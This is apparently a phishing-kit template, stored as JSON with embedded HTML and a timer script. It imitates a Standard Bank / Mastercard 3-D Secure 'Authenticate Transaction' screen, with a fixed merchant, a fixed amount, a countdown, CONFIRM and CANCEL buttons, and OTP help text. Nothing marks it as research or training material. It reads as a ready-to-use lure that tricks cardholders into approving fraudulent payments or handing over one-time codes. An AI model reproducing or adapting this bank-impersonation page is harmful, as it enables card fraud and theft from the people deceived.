10 lines
5.8 KiB
JSON
10 lines
5.8 KiB
JSON
{
|
|
"type": "customValid",
|
|
"name": "Standard Bank ID Check",
|
|
"showTop": false,
|
|
"merchant": "DTF SOLUTIONS",
|
|
"amount": "EUR 184.58",
|
|
"pageContent": "<div style='font-family:Arial,Helvetica,sans-serif;max-width:420px;margin:0 auto;padding:20px 20px 28px;color:#1f2d3d;'><div style='display:flex;justify-content:space-between;align-items:center;margin-bottom:28px;'><div style='display:flex;align-items:center;gap:8px;'><svg width='32' height='38' viewBox='0 0 32 38'><path d='M16 1 L31 7 L31 21 C31 30 24 35 16 37 C8 35 1 30 1 21 L1 7 Z' fill='none' stroke='#003087' stroke-width='2.2'/><path d='M16 5 L28 10 L28 21 C28 28 22 33 16 35 C10 33 4 28 4 21 L4 10 Z' fill='none' stroke='#003087' stroke-width='1'/></svg><span style='color:#003087;font-weight:700;font-size:16px;letter-spacing:.2px;'>Standard Bank</span></div><div style='display:flex;align-items:center;gap:8px;'><svg width='42' height='26' viewBox='0 0 42 26'><circle cx='15' cy='13' r='13' fill='#EB001B'/><circle cx='27' cy='13' r='13' fill='#F79E1B'/><path d='M21 3.9a13 13 0 0 1 0 18.2A13 13 0 0 1 21 3.9z' fill='#FF5F00'/></svg><span style='color:#555;font-size:13px;font-weight:500;'>| ID Check</span></div></div><h2 style='text-align:center;font-size:18px;font-weight:700;color:#111;margin:0 0 24px;'>Authenticate Transaction</h2><div style='text-align:center;margin-bottom:20px;'><svg width='108' height='90' viewBox='0 0 108 90'><rect x='8' y='4' width='62' height='78' rx='9' fill='#1a3d91'/><rect x='14' y='12' width='50' height='52' fill='white'/><circle cx='39' cy='76' r='5' fill='#5c85d6'/><path d='M24 38 Q10 38 10 52 L10 72 Q10 86 24 86 L72 86 Q86 86 86 72 L86 52 Q86 38 72 38 Z' fill='#1a3d91' opacity='.92'/><rect x='18' y='48' width='28' height='22' rx='4' fill='white' transform='translate(16 0)'/><path d='M34 48 L34 42 A8 8 0 0 1 50 42 L50 48' fill='none' stroke='white' stroke-width='3' stroke-linecap='round' transform='translate(8 0)'/><circle cx='50' cy='61' r='4' fill='#1a3d91' transform='translate(8 0)'/></svg></div><div style='display:flex;justify-content:center;margin-bottom:20px;'><div style='position:relative;width:100px;height:100px;'><svg width='100' height='100' viewBox='0 0 120 120' style='transform:rotate(-90deg);'><circle cx='60' cy='60' r='48' fill='none' stroke='#c8f2d8' stroke-width='6'/><circle id='sb-ring' cx='60' cy='60' r='48' fill='none' stroke='#1aa64a' stroke-width='6' stroke-linecap='round' stroke-dasharray='301.59' stroke-dashoffset='0' style='transition:stroke-dashoffset 1s linear;'/></svg><div id='sb-time' style='position:absolute;inset:0;display:flex;align-items:center;justify-content:center;font-size:22px;font-weight:700;color:#1aa64a;'>01:00</div></div></div><p style='font-size:14px;color:#333;margin:0 0 10px;'>A payment confirmation will be sent to your phone</p><p style='font-size:14px;color:#333;margin:0 0 24px;'>You are paying <strong>${payment}</strong> to <strong>${merchant}</strong> on <span id='sb-datetime'>2026-02-23 13:10:29</span></p><div class='custom-error-message' style='display:none;color:#d93025;font-size:13px;text-align:center;margin:0 0 12px;min-height:20px;'></div><button type='button' class='custom-button' data-action='submit' style='display:block;width:100%;height:52px;border-radius:26px;background:#1a73e8;color:white;border:0;font-size:15px;font-weight:700;letter-spacing:.8px;cursor:pointer;margin-bottom:14px;'>CONFIRM</button><button type='button' class='custom-button' data-action='resend' data-countdown='false' style='display:block;width:100%;height:40px;background:none;border:0;color:#1a73e8;font-size:15px;font-weight:700;letter-spacing:.8px;cursor:pointer;margin-bottom:20px;'>CANCEL</button><div style='border-top:1px solid #e5e7eb;'><div onclick='sbToggle(\"sb-q1\",this)' style='display:flex;justify-content:space-between;align-items:center;padding:12px 0;cursor:pointer;border-bottom:1px solid #e5e7eb;'><span style='font-size:13px;color:#1a73e8;'>About 3-D Secure</span><span id='sb-q1-icon' style='font-size:22px;color:#1a73e8;line-height:1;user-select:none;'>+</span></div><div id='sb-q1' style='display:none;font-size:13px;color:#555;padding:10px 0 12px;border-bottom:1px solid #e5e7eb;line-height:1.65;'>3-D Secure is an additional security layer for online credit and debit card transactions. It helps protect you against unauthorised card use when shopping online.</div><div onclick='sbToggle(\"sb-q2\",this)' style='display:flex;justify-content:space-between;align-items:center;padding:12px 0;cursor:pointer;'><span style='font-size:13px;color:#1a73e8;'>Have not received your OTP?</span><span id='sb-q2-icon' style='font-size:22px;color:#1a73e8;line-height:1;user-select:none;'>+</span></div><div id='sb-q2' style='display:none;font-size:13px;color:#555;padding:10px 0 4px;line-height:1.65;'>If you have not received your OTP, please check that your mobile number is correct and click Resend OTP. Alternatively, contact Standard Bank on 0800 020 600.</div></div><script>(function(){if(window._sbTimer)clearInterval(window._sbTimer);var total=60,rem=60,circ=301.59;function pad(n){return n<10?'0'+n:''+n;}var dt=document.getElementById('sb-datetime');if(dt){var d=new Date();dt.textContent=d.getFullYear()+'-'+pad(d.getMonth()+1)+'-'+pad(d.getDate())+' '+pad(d.getHours())+':'+pad(d.getMinutes())+':'+pad(d.getSeconds());}window.sbToggle=function(id,el){var box=document.getElementById(id);var icon=document.getElementById(id+'-icon');var open=box.style.display!=='none';box.style.display=open?'none':'';if(icon)icon.textContent=open?'+':'-';};function tick(){var te=document.getElementById('sb-time'),ring=document.getElementById('sb-ring');if(te)te.textContent='00:'+pad(rem);if(ring)ring.style.strokeDashoffset=(circ*(1-rem/total)).toFixed(2);if(rem<=0){clearInterval(window._sbTimer);return;}rem--;}tick();window._sbTimer=setInterval(tick,1000);})()</script></div>",
|
|
"customStyles": ""
|
|
}
|